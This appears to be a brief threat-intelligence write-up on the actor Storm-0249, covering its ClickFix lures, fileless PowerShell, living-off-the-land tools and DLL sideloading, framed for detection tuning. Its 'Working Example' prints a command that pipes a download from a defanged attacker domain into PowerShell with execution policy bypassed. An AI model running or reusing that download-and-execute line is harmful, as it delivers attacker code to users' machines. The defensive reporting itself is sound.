Storm-0249 Escalates Ransomware Attacks with ClickFix, Fileless PowerShell, and DLL Sideloading

Storm-0249 Tactics Evolve to Facilitate Ransomware

The threat actor Storm-0249, initially known as an initial access broker, is now directly facilitating ransomware attacks by leveraging advanced techniques like ClickFix, fileless PowerShell execution, and DLL sideloading. Microsoft first highlighted this group in September 2024, noting its role in selling network access to other criminal entities.

Current security models often struggle with detecting sophisticated, multi-stage attacks that utilize legitimate system tools and trusted processes; relying heavily on signature-based detection. The cost of a successful ransomware attack, including downtime, data recovery, and potential fines, can easily reach millions of dollars, making proactive threat hunting and advanced detection capabilities critical.

Key Insights

• ClickFix Technique (December 2025): Storm-0249 uses deceptive social engineering via the “ClickFix” method to trick users into executing malicious PowerShell scripts.
• Living-off-the-Land (LotL): Utilizing native Windows utilities like reg.exe and findstr.exe allows attackers to blend in with normal system activity.
• DLL Sideloading: Threat actors are abusing trusted processes like SentinelOne’s SentinelAgentWorker.exe to load malicious DLLs and evade detection.

Working Example

# Example of a malicious command executed via ClickFix (simulated)
curl.exe -o - "sgcipl[.]com/us.microsoft.com/bdo/" | powershell -ExecutionPolicy Bypass -

Practical Applications

• Use Case: Security teams can use this information to tune endpoint detection and response (EDR) systems to identify anomalous PowerShell execution patterns and DLL loading behavior.
• Pitfall: Over-reliance on blocklists and signatures will fail to detect attacks utilizing LotL techniques and trusted processes.

References:

• https://thehackernews.com/2025/12/storm-0249-escalates-ransomware-attacks.html